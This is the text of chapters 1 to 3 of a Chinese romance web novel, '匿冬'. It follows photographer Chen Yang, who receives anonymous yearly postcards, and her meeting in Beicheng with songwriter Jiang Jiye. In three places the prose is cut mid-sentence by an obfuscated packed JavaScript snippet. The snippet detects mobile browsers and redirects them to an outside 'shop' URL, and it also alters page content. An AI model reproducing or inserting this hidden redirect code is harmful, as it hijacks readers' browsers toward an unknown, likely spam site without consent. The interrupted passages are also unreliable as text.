《匿冬》 1. 第 1 章 九月,江城到处都弥漫着炙热的空气。 新老城区被一条横贯南北的公路分隔开来,远远望去,像两段彼此错位的时空。新区高楼林立,玻璃幕墙映着刺眼日光;老城区却仍旧是低矮的红砖瓦房,墙面斑驳,树影婆娑,风一吹,梧桐叶便簌簌落下。 老街两侧红砖瓦墙斑驳,日光直下,一间工作室坐落在不起眼的街角。 白墙黑字,窄门紧闭。门边立着一个老式红色信箱,漆面已经褪色,边角还有些许掉漆痕迹。这样的信箱如今已经很少见了。 午后烈阳炽盛。 穿着绿色制服的邮递员骑车停在门口,从包里取出一封白色信件熟练地插进信箱缝隙。 不久后,一道身影停在了门前。 风铃轻晃,发出一阵清脆声响。 陈漾抬头看向门外。 工作室位于老城十字路口,两旁梧桐生得高大繁茂,枝叶将窄门遮了大半。阳光从树叶缝隙里漏下来,在门前落了一地细碎光影。 进门是一条狭窄玄关,宽度和门相差无几。墙里嵌着储物柜,里面堆满摄影器材和胶卷。再往里走,空间便开阔许多,靠里木质楼梯通往二层。 室内整体暖白色调,木地板,暖灯光,左侧摆着几张工作桌和电脑,尽头还有一道暗门,是陈漾平时冲洗照片用的暗房。 右边则放着两张宽大的沙发,中间茶几堆满镜头盖、文件夹和乱七八糟的零食。 “阿漾,那人又寄来了。”于忻推门进来,把信封往茶几上一放。 听见声音,陈漾从暗房探出头,“放那儿吧,我把这几张洗完。” “行。”于忻没客气,顺手把包一丢,整个人瘫进沙发里,又从茶几底下翻出一包薯片。 暗房里隐约传来水声。 没多久,陈漾便走了出来。 她先去旁边洗了手,边擦水边问:“怎么突然回来了?” 女人素着脸,皮肤很白,长发随意挽成低丸子头,几缕碎发垂在耳边。她穿着宽松的米白色衬衫和长裤,袖口挽到小臂。 工作室东西太多,陈漾顺手理了理桌上散乱的物件。 于忻从事娱乐新闻行业,常年全国各地跑采访。前阵子还在微信里疯狂吐槽工作没人性,连睡觉时间都快没了。 按她原本的行程,现在应该还在外地。 于忻抱着薯片,一脸生无可恋地瘫在沙发上,闻言幽幽开口:“结束了,一切都结束了。” 她把手机往旁边一扣,翻身趴在沙发靠背上。 “秃顶猴子让我背锅,我直接掀桌不干了。” 陈漾挑了下眉,“辞职了?” “辞了。”于忻一提这事就来气。 她那个主管一直看她不顺眼,这次新闻出了岔子,她明明提前提醒了好几遍,对方偏不听,结果事情闹大现在又想把她推出去挨骂。 “那老东西还暗示我,说什么先认下来以后会补偿我。”于忻冷笑,“我当场把录音甩工作群了。” 她越说越解气,“然后辞职,订机票,连夜跑路。” 说完,于忻仰天长叹,“所以我现在正式成为无业游民了——” “但这不是重点。”她忽然坐直,“重点是我妈联合老于同志,向我下达最后通牒。” 陈漾正在低头整理相纸,“什么通牒?” “相亲。” 于忻面无表情,“明天。” 陈漾没忍住笑了。 于忻今年二十七,她妈却喜欢按虚岁算年龄,逢人就说她“三十了还不结婚”。 这两年安排过不少相亲对象,于忻最开始还去应付过两次,后来直接拿工作忙当借口。 “这么急?你才刚回来。” “对啊!”于忻越想越气,“我爸之前还跟我统一战线,结果我妈一发火他立马倒戈。” 她痛心疾首,“男人的话果然都不可信。” 陈漾低头看了眼手机,工作消息不断往外弹。 于忻余光一扫,看见茶几上的行程单,顺手拿了起来,“你月底要去北城?” “嗯。”陈漾点头,“要过去待一阵。” 于忻视线落在其中一个名字上,忽然顿了一下。 与此同时,陈漾也想起自己忘记说什么,“对了,我这次和——” “打住。” 于忻立刻把纸放下,假装什么都没看见似的岔开话题,“今年还是明信片?” 她晃了晃手里的白色信封。 陈漾见状,也没再继续刚才的话,只伸手接过,“应该是。” “真够坚持不懈的。”于忻啧了声。 七年前,陈漾刚搬进这间工作室,门口那个红色信箱原本只是装饰。 直到某年十月她出差回来时,发现里面莫名多了一个信封。 当时她以为是谁塞错了广告传单,后来拆开才发现—— 里面是一张明信片。 那时候事情太多,陈漾没怎么在意,只随手放到一旁。 可第二年、第三年、第四年…… 每年九月底,她都会收到一张同样的明信片。 没有署名,没有寄件地址。 只有照片和一串邮编。 陈漾不是没查过。 她调过监控,也问过投递工作人员,可所有明信片寄件地址显示的始终只是公共邮箱。 茫茫人海无处可寻,像有人故意抹掉了痕迹。 后来于忻知道这事,闲得没事还帮她研究过一阵。 最后得出结论—— 寄错地址了。 陈漾自己想来想去,也觉得大概如此。 于是这些年,她便把明信片都收了起来。 想着哪天寄件人发现寄错了,总会回来取。 她拆开信封。 明信片正面是一张街景照。 青灰色长街,老旧路牌,梧桐枝叶遮住半边天空。 背面依旧只有一串邮编。 以及右下角那两个熟悉字母。 ——jy。 七张明信片,全都如此。 陈漾低头搜了搜图片来源,今年的照片来自北城一条老街。 她盯着看了几秒。 想着这次去北城或许可以顺路过去看看。 窗外树叶沙沙作响,日光随时针倾斜,透过未拉上的百叶窗落在室内一隅。 玻璃展柜里,安静的躺着七张明信片。 沿街梧桐正盛,树影婆娑,红砖石瓦。 白墙被染上几分颜色,红色信箱安静立在绿叶下,往上,一行立体手写花字贴在门边——「木野」。 … “Themomentwhenthestarsfall.” “Iheardyourvoice.” “……” “OK!”录音室外,程简摘下耳机比了个手势,对着话筒道:“沈老师,可以收工了。” 片刻后,录音室门被推开。 男人身形高挑,眉眼冷艳,一双桃花眼生得极其漂亮,薄唇微抿。 “辛苦了。”沈燎点头。 “沈老师才辛苦。”程简笑着和对方确认了后续安排,又寒暄几句,工作人员便陆续离开。 很快,录音室重新安静下来。 程简重新放了一遍刚录完的音频,三分二十一秒,是一首节奏舒缓的英文歌。 沈燎嗓音辨识度极高,情绪处理也稳,程简截了一小段,顺手发给聊天框里某个人。 【录完了,怎么样?】 对面没立刻回复。 程简把手机丢到一边。 室内凉风习习,日光西斜,从未完全拉上的窗帘爬进来,程简收了尾看手机,刚刚的聊天框多了一条消息—— 【我过来一趟】 时间显示半个小时前。 程简挑了下眉,正想问人怎么还没到,门外忽然传来脚步声。 下一秒,门被推开。 夕阳大片坠在门边被一双白鞋踩碎,来人穿着一身黑衣黑裤,帽檐压低,身后橘色余晖铺了满地。 不知道的,还以为刚从什么犯罪现场回来。 程简没忍住乐了,“哟,你这是刚从哪个旮旯儿钻出来?” 对方没理径直拉开椅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588902|205403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子坐下,戴上耳机,顺手按了播放。 “刚起。”男人声音低哑,带着点刚睡醒的倦意。 程简笑了笑,见他开始听,也没再打扰,自顾自低头回消息。 一首歌结束。 江纪野摘下耳机。 程简随口问:“怎么样?” “最后有点杂音。” “帮我弄了。”程简瘫在椅子里,“坐一天腰快废了。” 江纪野没说话,直接低头开始调音轨。 程简闲不住,又开始翻工作安排,“下周那个活动你去不去?” 他看得一阵眼疼,退出微信准备上上网,不过十多秒,“嘶,好像由不得你了,网上已经开始说你要去了。” 程简顺手点开热搜,下一秒直接笑出声,“我靠,你和沈燎cp超话冲前五了。” 江纪野:“……” 程简越看越乐,“来来来,采访一下——” 他故意拿腔拿调:“请问纪老师,传闻你每次公开露面沈燎都在场,请问是否有意为之?” 江纪野终于抬眼。 “闭嘴。” “哟,恼羞成怒了。” “……” “行,终究是错付了。” “……” “想当初——” 江纪野乜了他一眼,“弄好了。” 程简收了戏,浑身还是不正经,“晚上陪我下馆子去。” “嗯。” 天色渐暗。 大片云层浮在城市上空,暮色一点点沉下来。 两人去了常去的一家餐厅,位于市中心。 正值晚高峰,街道车流不断,霓虹逐渐亮起。 程简和老板认识,刚进门便有人领他们去了最里面的包厢。 门一关,外头喧闹瞬间隔绝。 程简饿了一整天,点菜时恨不得把菜单翻穿,“等会儿林非也来。” 江纪野低头回消息,“让他把本子带上。” “行。” 没多久,包厢门再次被推开。 林非穿着身休闲西装,看着像刚从哪个商务局逃出来,“纪野,本子。” 江纪野接过随手放到旁边。 程简已经开始埋头干饭,“非非,下周活动你去不?” “去啊。”林非夹着排骨,“林总也去。” 林总是他姐林菁和,典型雷厉风行女强人,林非就是那个反例。 林非玩儿了几年被父母压着找个事儿做,到公司被她姐嫌,但好歹也没赶他,就随便混了个职位,私底下搞了不少副业。 “纪野那歌下周首唱。”程简话多,从发歌聊到圈里新闻,话题根本停不下来,俨然有谈天说地的趋势。 两个人聊的热火朝天,甚至叫了几听啤酒。 江纪野吃了几口就没动筷了,看着手机里的视频。 屏幕里播放着一个视频。 高楼、长街、老寺庙。 梧桐树影摇晃,江水拍打岸边礁石。 是江城的城市宣传片。 发布时间显示五分钟前。 视频很快播放结束,江纪野退回作者主页。 共创名单里,除了官方账号,还有另一个名字。 ——【木野】 头像是一片纯白,中央静静立着一棵树。 包厢里仍旧热闹,窗外夜色却已经彻底沉了下来。 “纪野,走了。”程简和林非喝了几瓶后终于屈服于酒量结束了吃饭。 江纪野回过神时,程简已经醉得东倒西歪,他只好先帮着把人送回去。 绕了一圈,然后独自开车回了工作室。 老城区的夜晚安静许多,巷子狭窄,路灯昏黄,周围的邻里街坊大多都是老一辈,天色已经完全黑了,江纪野踩着月光推开2070号的木门。 院子不大,四间房,一间他住,靠里那扇房门很少打开。 两只猫窝在树下睡觉,听见动静只懒洋洋抬头看了一眼,又重新蜷了回去。 夜风穿过院子,树影轻晃。 黑夜笼罩,月亮挂在树枝上,谧静无声。 2. 第 2 章 月底,陈漾坐上了前往北城的飞机。 机场里人流熙攘,广播声此起彼伏。行李转盘缓慢运转了许久,她才拿到自己的箱子。航站楼外,出租车与网约车堵成一片,车辆走走停停,热浪从柏油路面翻涌而起,让人无端生出几分燥意。 陈漾提前在北城租了间短住公寓。 上午刚到她简单收拾了一番,中午宋雨雨得知她落地,发消息邀请她去剧组。 影视城离公寓有些距离,陈漾打了辆车。 耳机里提示音接连不断地响起,她低头看了眼手机,屏幕上接二连三弹出消息提醒。她什么也没回,只扫了一眼,便重新熄了屏幕。 车窗外景色不断后退。 北城和江城不太一样。 这里高楼更多,街道也更宽阔,大片玻璃幕墙折射着刺目的日光,城市繁荣同时节奏也快得几乎不给人喘息的空隙。 宋雨雨的助理提前等在影视城门口,见到陈漾便带她往里走。 影视城里同时开着几个剧组,场务、演员、工作人员来来往往,设备堆满道路两侧,还有安保拦着举着相机的代拍和粉丝。 宋雨雨还在拍戏。 陈漾到了后,便直接先进了房车。 手机短暂安静了一阵。 没过多久,对面像是察觉到了她的刻意无视,又继续发来消息,也不管她究竟会不会回复。 陈漾靠在沙发边点开聊天框。 从最开始的长篇文字,到最后一条三十秒语音,她大致扫了一眼。 无非还是那些翻来覆去的话。 解释、争吵、埋怨,又或者自以为是的关心,她连语音都懒得点开听。 指尖停顿片刻,只回过去一句: 【不在江城了,有工作出差。】 随即直接熄灭了屏幕。 手机终于彻底安静下来。 与此同时,房车门被人从外面推开。 “阿漾——!” 宋雨雨小跑进来,一屁股坐到了她对面。 陈漾顺手把湿巾递过去,宋雨雨随意擦了擦手,长发高高束在脑后,露出一张极具攻击性的漂亮脸蛋。 她拿起筷子就开始吃。 陈漾带来的东西不算多,知道她拍戏期间要控制体重,所以每样都只买了一点。 可宋雨雨显然已经饿得不行。 她夹起一块点心,整个塞进嘴里,边嚼边含糊不清地点头:“好吃。” 房车里空调开得很低。 宋雨雨从早拍到现在,中途只喝了杯冰美式消肿,胃里空荡荡。 两人有一搭没一搭聊着,等吃得差不多后,宋雨雨忽然想起什么。 “阿漾,你周六有时间没?” 陈漾正在收拾桌上的餐盒,“怎么了?” “我周六晚上有活动。”宋雨雨托着下巴,“你要没事的话来帮我拍照呗。” “什么活动?” “慈善晚会。”宋雨雨翻出活动宣传图,“听说沈燎还会现场唱新歌。” 陈漾接过手机翻了翻,“行。”她点头,“礼服选好了?” “选好了,就这两套。”宋雨雨立刻把经纪人发来的礼服图翻给她看。 两人认识已经好几年。 宋雨雨性格跳脱,嘴巴也闲不住,从剧组八卦一路聊到最近新塌房的男明星,几乎没停过。 没多久休息时间结束,宋雨雨重新补了妆,又被助理拉回了片场。 陈漾跟着下车,外头围了不少工作人员。 导演正站在男女主旁边讲戏,一边讲还一边亲自示范走位,神情夸张得像在演舞台剧。 陈漾站在旁边看了会儿,顺手拿手机拍了几张照片发给宋雨雨。 剧组已经到了收尾阶段,下午还有男三号杀青。 等到四五点,宋雨雨今天的戏份总算结束。 陈漾帮着助理一起替她卸妆拆头发。 晚上,宋雨雨和陈漾去了附近一家很有名的烤鸭店。 两人一个控制体重,一个胃口小,吃的都不多。 夜色降临。 陈漾洗漱完,抱着电脑坐在阳台修图。 北城夜景很亮,高楼鳞次栉比,灯火绵延不断,像是一整片不会熄灭的星海。 今晚月亮只剩一弯残缺轮廓,没过多久,便隐进了云层里。 等陈漾合上电脑时,远处街道上的喧闹声也已经淡了许多。 她起身回了房间。 … 周六中午陈漾去了宋雨雨的工作室。 经纪人兰亭和已经让人提前把礼服送了过来,只是不知道出了什么问题,妆造迟迟还没开始。 陈漾问了旁边的工作人员一句。 小姑娘抱着化妆箱,小声解释:“原本的造型师路上出了点状况,现在赶不过来。” 不远处,兰亭和还在打电话协调。 宋雨雨倒是半点不急。 她窝在沙发里看韩剧,察觉有人靠近,抬头看了眼镜子。 “阿漾你来啦!” 兰亭和刚挂电话,也走了过来,“临时换了个造型师,马上到。” 陈漾点点头没多问,转身去旁边整理等会儿拍出发图要用的道具。 几年前陈漾曾陪宋雨雨参加过一次颁奖礼。 那次她顺手替宋雨雨拍了组图,发出去后反响意外很好。 后来只要陈漾刚好在附近,偶尔也会过来帮忙拍照,次数虽然不多,但粉丝每次都在评论区喊着“求长期合作”。 对此,兰亭和乐见其成。 下午五点四十红毯正式开始。 宋雨雨最近为了角色瘦了不少,但镜头里反而更漂亮。 陈漾跟着一起到了现场,充当半个助理。 后台走廊人来人往。 高跟鞋声、说话声、对讲机电流声交杂在一起。 宋雨雨的休息室位置靠里,反倒安静许多。 距离正式入场还有一段时间,宋雨雨的奖项靠后,不用太早进去。 陈漾坐在沙发上回工作消息。 宋雨雨抱着平板看内场直播,没一会儿,她忽然转过身,“阿漾,我们先进场吧。” “嗯?” “沈燎快唱歌了。” 陈漾收起手机,“好。” 宋雨雨从侧门进入内场。 她的位置在第一排靠右,陈漾则拿着相机站在过道边。 内场空调开得很低,陈漾担心宋雨雨冷,拿了件披肩弯腰递过去。 只是刚准备往回走时—— 灯光骤然熄灭,整个会场瞬间暗了下来。 陈漾下意识停住动作。 她站在原地,等视线慢慢适应黑暗。 下一秒。 忽明忽暗的光影间,一双眼睛猝不及防撞进她的视线。 低沉英文歌词在会场响起。 “Timeandspaceareintertwined,andwemeet.” 白色追光骤然打向舞台中央。 人群、尖叫、嘈杂声像是被瞬间拉远。 周围的一切开始虚化。 世界仿佛被大片白雪覆盖。 风雪漫天。 江纪野睁开眼时,浑身已经被冻得有些僵硬。 他缓慢侧过头。 视线尽头不知道什么时候多出了一道身影。 雪落得很大。 整片原野只剩下一棵覆满白雪的大树。 石椅被埋了半边。 天地安静得近乎死寂。 江纪野坐在那里看了很久,最终还是站起身,朝那道身影走过去。 脚印踩进雪地,很快又被新的风雪覆盖。 他停下脚步。 那人也终于转过了身。 白雪纷飞。 原野无边无际。 “Whenthesnowfell.” 两道身影站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588903|205403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪地中央,相顾无言。 “imetyou.” 下一秒—— 漫天风雪骤然化作舞台上炸开的银白彩带。 陈漾猛地回过神。 耳边重新响起尖叫和掌声,她垂下眼,匆忙退回过道边。 手里的相机忽然变得很沉。 心口也像被什么压住一般,她抬手轻轻按了按胸口。 也没注意到,那道视线仍落在她身上的视线。 看了眼时间后,陈漾让宋雨雨助理继续留在内场拍照,自己则先回了休息室。 后台隔音不算太好,即便关上门依旧能隐约听见外面的音乐和人声。 各种声音混杂在一起,有些吵。 陈漾戴上耳机低头翻看相机里的照片。 十多分钟后宋雨雨领完奖回来,助理把相机递回给陈漾。 一行人简单收拾后,从后台离开返回酒店。 陈漾则独自打车回公寓。 车开到一半时,外面忽然下起了雨。 司机沉默寡言,只开着电台。 而广播里恰好放起今晚沈燎唱的新歌。 雨滴不断砸落在车窗,霓虹灯影被拉成长长的光痕。 陈漾靠着椅背,安静望向窗外。 ... 北城夜色通明,高楼灯火彻夜不熄,而老城区的巷子却一如既往地安静。 两只猫不知道跑去了哪里,江纪野难得推开最里面那扇房门。 屋里陈设很简单。 一张桌子,一整面书架。 许多东西安静堆放在那里,只是太久没人碰,已经落了层薄灰。 江纪野伸手,从书架上取下一本厚重相册。 窗外忽然传来猫叫。 大概是那两只猫回来了,许是看见了屋里的灯。 那一年他们曾一起坐在海边悬崖上,从凌晨等到日出。 风很大。 陈漾脖子上挂着相机,正低头调试镜头。 江纪野忽然问她是怎么喜欢上拍照的。 陈漾闻言抬头看了他一会儿,却没回答。 反而轻声问:“江纪野,你有没有特别想回到过去的某个时刻?” 江纪野说没有。 那时候的他觉得,过去和未来其实都差不多。 人生像是一条一眼就能望到尽头的路。 不会再有什么波澜。 陈漾笑了笑,重新看向远处泛着粉紫色的天空。 “我有段时间特别想,甚至幻想过,如果能改变过去会怎么样。” “可是后来我发现,就算真的回去了,好像也改变不了什么。” 她声音很轻,海风却很大。 “很多事情,是早就注定好了。” 她低头摆弄着相机。 “拍照其实不算我特别喜欢的事情。” “只是因为——” “我想把这一刻留下来。如果有一天我忘记了,说不定还能靠这些照片,重新想起那个时候的自己。” “或者……抓住一点过去的瞬间。” 那天他们等到了日出。 旭日从海平面缓慢升起,海浪剧烈拍打崖底礁石。 陈漾拍了几张照片后便放下了相机。 后来,她在悬崖边捡到一块很像鱼的石头,小心翼翼带了回去。 那一天是陈漾的生日。 也是江纪野第一次陪她看日出。 相册被一页页翻过。 最开始大多都是风景,后来慢慢夹杂着一个少年的背影。 再后来,照片里慢慢变成了两个人。 翻到最后一页时,却没有照片。 只有两行简单字迹。 房间安静许久。 窗外天色已经渐渐泛白。 第一缕晨光落在泛黄纸页上。 上面写着—— 「江纪野,生日快乐。」 「——陈漾」 3. 第 3 章 宋雨雨的照片毫无意外地上了热搜。 意外的是,连带着陈漾一起。 照片里,宋雨雨站在红毯尽头,灯光从高处倾泻而下,裙摆像被月光浸透,整组图的色调克制又干净,和娱乐圈常见的精修风格完全不同。 评论区讨论得热闹。 【这摄影师谁啊有没有人扒?拍得太有氛围感了。】 【光影绝了…有种电影截图的感觉。】 【...终于不是千篇一律的磨皮死亡滤镜了。】 【摄影师审美好高级。】 底下有人发陈漾的名字,宋雨雨特意发消息来问她要不要撤热搜。 陈漾回了句:没事。 于是宋雨雨那边也就没再让经纪人压。 陈漾其实很少特地拍人像,她更习惯拍风景、街道、纪录片里的真实人物。 可她拍出来的人总有种很特别的故事感,无论是构图还是色调都带着极强的个人风格。 之前给宋雨雨拍过照后,圈内也有几个明星的工作室问过她合作,但陈漾重心不在这里,都拒绝了。 她退出微信,顺手点开微博。 热搜榜前排几乎都被今晚慈善晚会占据。 而讨论度最高的,无疑是沈燎的新歌,以及词曲制作人——江纪野。 沈燎二十岁时发行了他的第一张专辑。 专辑里最出圈的那首歌,词曲署名第一次出现了“纪野”两个字。 在那之前,没有人听过这个名字。 没人知道他的背景,也没人知道他从哪里冒出来。 直到那首歌一夜爆红。 后来几年,江纪野陆续写了不少歌,圈内许多歌手都和他合作过。 而除开作品之外,他本人也始终带着极高的话题度。 原因很简单。 江纪野长得太惹眼。 那张脸放在娱乐圈里,也足够称得上一句优越。 只是近两年,他像忽然消失了一样,很少再有新作品,也几乎不出现在公众视线里。 直到最近。 他重新出现,连同新歌一起。 陈漾点进热搜。 热门微博里,恰好有人拍到了现场图。 江纪野坐在宋雨雨斜后方那桌。 和周围一众做了精致妆造的男明星不同,他只穿了件简单的黑色衬衫,袖口微微挽起,神情淡得几乎没什么情绪。 陈漾看着照片,脑海里却忽然闪过那晚舞台灯光熄灭时,对上的那双眼睛。 她下意识停顿了两秒。 又往下翻了几条。 网上已经开始讨论江纪野提前离场的事,有人说他是在沈燎还没唱完的时候就走了。 评论区越猜越离谱,甚至还有人一本正经分析: 【估计是觉得现场唱得太难听。】 结果下一秒便被沈燎粉丝围攻了几百楼。 没人出来解释,于是话题热度反而越来越高。 陈漾看了会儿,手机忽然震动起来。 她接通电话。 “陈漾,B组这边你得来一下。”是谈令。 “好。”陈漾收起手机,和旁边人说了声,转身往B组那边走。 对面是谈令负责的拍摄区域。 两人认识很多年,经常合作,年纪也相差不大。 这次纪录片拍摄的主题是他们之前从未尝试过的方向。 前期筹备就花了很长时间。 拍摄地点在北城城郊的一家疗养院,不过这里收治的大多是患有特殊精神疾病的老人。 最开始联系家属时,绝大部分人都拒绝了。 有人抗拒镜头。 也有人觉得这种拍摄像是在“揭伤疤”。 后来,就在两人准备放弃时,之前一位说“考虑看看”的家属主动联系了他们。 那之后情况才慢慢好转。 经过长时间沟通,终于有部分家庭同意拍摄。 陈漾走到B组时,第一眼看见的,就是被一个老婆婆死死抱着手臂的谈令。 “……” 她脚步顿了下。 谈令一脸生无可恋地站在那里,动都不敢动。 旁边护理员正轻声哄着老人。 陈漾过去问了情况,先让摄影组暂停拍摄。 因为被拍摄者情况特殊,现场不能有太多人。 老婆婆已经七十多岁,患有阿尔茨海默症,丈夫前几年去世,子女工作忙,长期没人陪伴。 后来她走丢过几次。 子女实在没办法,甚至一度用绳子把她一只手绑在椅子上,防止她出门。 一日三餐提前放好。 人却常常整天没人说话,于是老人精神状态越来越差。 直到某天开始抓着别人不放手,家里人这才把她送来了疗养院。 反而到了这里以后,她情绪稳定了不少。 只是谁也没想到,刚刚谈令拿着设备站在门外时,老人远远看见他,忽然就冲出来抓住了他的手。 说他像自己孙女。 谈令当场脸都绿了。 他从小长相偏秀气。 小时候他妈就总说他长得像小姑娘,后来亲戚朋友说得多了,他也慢慢习惯。 直到大学时,他喜欢一个女生。 有次无意间听见对方笑着和朋友说—— “谈令长得挺像女孩子的。” 从那以后,彻底成了他的雷区。 护理员又劝了几句。 眼见老人情绪要不稳定,谈令赶紧妥协:“算了算了。” 然后立马把陈漾叫了过来。 陈漾接手了后续拍摄。 一直到老人慢慢平静下来,终于松开了谈令的手。 一天拍摄结束得很快。 下午五点,一行人回了谈令在北城的工作室。 工作室位于老城区。 附近大多是低矮平房,街道也不宽,和市中心完全像两个世界。 七点过后,其他人陆续离开,最后只剩下陈漾和谈令。 平板屏幕亮着,右边是已经确认参与拍摄的六位,左边还有四位尚未最终确定。 谈令抬手指了指其中一个名字。 “其他人感觉差不多能定了,就这个悬。” 陈漾看了眼,“不行就九个人。” 谈令叹了口气,看了看时间,“行了,你先回去吧,我再看看。” 陈漾点头,“早点休息。” “知道了。”谈令挥挥手,又继续低头改方案。 离开工作室后,陈漾没立刻回公寓。 她打开导航,输入了明信片上的地址。 意外的是—— 距离这里并不远,步行十几分钟。于是陈漾索性沿路走过去。 天色还没完全暗下来。 陈漾戴上眼镜,跟着导航穿过几条老巷。 巷子口坐着几个乘凉的老人。 见她一个年轻姑娘独自拿着手机像是在找地方,有位老爷爷还主动问了句。 后来干脆摆摆手:“别跟导航绕了,前面左转有条小路,直接过去就到了。” 陈漾笑着道谢。 等她走进那条小路时,天已经彻底暗了。 路灯一盏接一盏亮起,附近乘凉的老人也陆续回了屋。 陈漾停在街口从包里拿出那张明信片。 照片里的街景和眼前慢慢重叠。 老街并不全是住宅,其中还夹杂着几家年轻人开的店。 她沿街往里走。 没多久,果然看见了一个红色邮筒。 而邮筒正对面,是一家照片冲洗店。 店面不大。 难得的是这么晚居然还开着门。 陈漾推门走进去,冷气扑面而来。 店里一个男人正背对门口坐着。 听见动静,对方头也不回:“马上关门了,不洗照片。” 陈漾看见他耳机只戴了一边,屏幕上明显正在打游戏,“不是来洗照片的。”她说,“想问点事。” 男人嘴里先冲游戏里的人骂了句。 随后才回她:“那等会儿。” 陈漾也不急,干脆站在旁边看起墙上挂着的照片。 照片很多。 其中几张她甚至有些眼熟。 像是谈令拍的。 她顺手拍了张照片发过去。 谈令很快回复:靠,我忘拿了。 又问她:你怎么跑那儿去了? 陈漾还没回。 男人终于结束游戏,摘下一边耳机转过身,“刚刚说什么来着?” 直到这时,陈漾才发现他还系着围裙。 对方似乎也觉得有点尴尬,补充一句:“刚准备做饭。” 陈漾先说了帮谈令拿照片的事。 男人认识谈令,确认后便把照片取下来。 冲洗店门外就是邮筒,周围没有监控。 她只好重新问:“想打听个事。” 男人低头装照片:“什么?” “门外这个邮箱平时用的人多吗?” 男人闻言往门外看了一眼。 “不多吧。”他说,“现在谁还寄信啊,邮递员都很少来了。” 说着又笑:“估计再过几年都得拆了。” 陈漾顿了顿,“那你记不记得,大概前两周,有谁往里面放过东西?” 男人抬起头,半开玩笑道:“怎么,你调查来的?” 他把照片袋递过去,“这条街每天人来人往,哪记得住。” 陈漾接过照片。 随后从包里拿出一张明信片,放到桌上,“那这张照片,是在你们这儿洗的吗?” 明信片静静躺在桌面中央,上面的照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588904|205403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片很眼熟。 男人动作忽然顿了一下。 他把明信片翻到背面看那串邮编。 还有右下角熟悉的两个字母。 室内安静了短短一瞬。 与此同时,门外忽然传来几道声音,伴随着越来越近的脚步声。 陆昱明刚拿起手机准备拨电话。 门口铃声便率先响起。 紧接着,一道吊儿郎当的声音传进来:“明儿!今晚喝白的——” 陈漾下意识回头,几道身影正好从门外走进来。 铃声被人随手按断。 昏黄灯光下。 女人穿着宽松衬衫和长裤,头发半挽,鼻梁上架着副眼镜。 而门口几人明显也愣了一下。 陆昱明还没来得及开口。 程简先停住了脚步。 后面的林非被挡住,不耐烦推了他一把:“干嘛呢——” 程简一个趔趄,露出站在店里的人。 林非止住话语,下意识往后看。 巷子外偶尔传来几声流浪猫叫,邮筒旁那盏年久失修的路灯忽然闪了两下。 下一秒。 “滋——” 彻底灭了。 门外光线瞬间暗下。 站在最后那道身影也半隐进夜色里,可陈漾还是在灯灭之前看清了那张脸。 今早还挂在热搜上的人,就这么毫无预兆地出现在她面前。 陈漾最先回过神。 她想到对方是公众人物,自己继续待在这里多少有些不方便。 再加上外面路灯坏了,她也不确定附近还有没有亮着的,于是转身对陆昱明说:“不是的话就算了,谢谢。” 说完便把明信片重新收回包里,准备离开。 陆昱明见门口几人都不说话,只能点头,“那你慢走。” 程简和林非已经默默挪进店里。 陈漾从旁边侧身准备离开。 街上不少路灯都已经熄灭。 陈漾停下脚步,低头准备给谈令发消息让他来接自己。 定位刚发出去,手机黑屏了。 没电关机。 “……” 她低头翻包,想看看有没有充电宝。 身后忽然传来一道声音。 “里面有充电器。” 陈漾动作一顿。 她包里有充电宝,但没带线。 于是只能回头:“可以借一下充电线吗?麻烦了。” “进来吧。” 江纪野先转身进了店。 不过一分钟,陈漾又重新回到了冲洗店。 程简他们已经不知道跑去了哪儿。 店里只剩江纪野。 他从抽屉里拿了根数据线递给她。 手机充了一会儿,终于重新开机。 谈令刚好回复:好。 江纪野站在刚刚陆昱明的位置,低头整理桌上的东西。 陈漾没有主动搭话。 而他似乎也没有开口的意思。 店里只剩下轻微翻动东西的声音。 一门之隔外。 院子里摆着张圆桌和几把椅子。 程简鬼鬼祟祟趴门上偷听,半天什么都没听见,没忍住皱眉,“纪野不会变哑巴了吧?” 林非正往桌上端菜,顺手捡了块酥肉塞嘴里,“可能不知道说什么。” 陆昱明放下盘花生,压低声音,“所以就是她?” 程简回头,一脸“废话”的表情。 然后继续贴门。 陈漾算着谈令快到了,便拔掉充电线,“谢谢。” “没事。” “那我先走了。” “嗯。” 江纪野看着她走出门。 沉默两秒。 还是弯腰从抽屉里拿了把手电筒,跟了出去。 陈漾听见脚步声,回头。 江纪野已经打开了手电,先一步解释,“我出去买点东西。” 陈漾没说话,只是安静往前走。 两人隔着不远不近的距离。 一路无言。 直到走到街口。 江纪野径直进了旁边小卖部。 没一会儿,再出来时,手里多了几瓶饮料。 陈漾站在路边等车。 晚风吹过树梢,她忽然开口:“手电筒,谢谢了。” “刚好顺路。”江纪野声音很淡。 话音刚落。 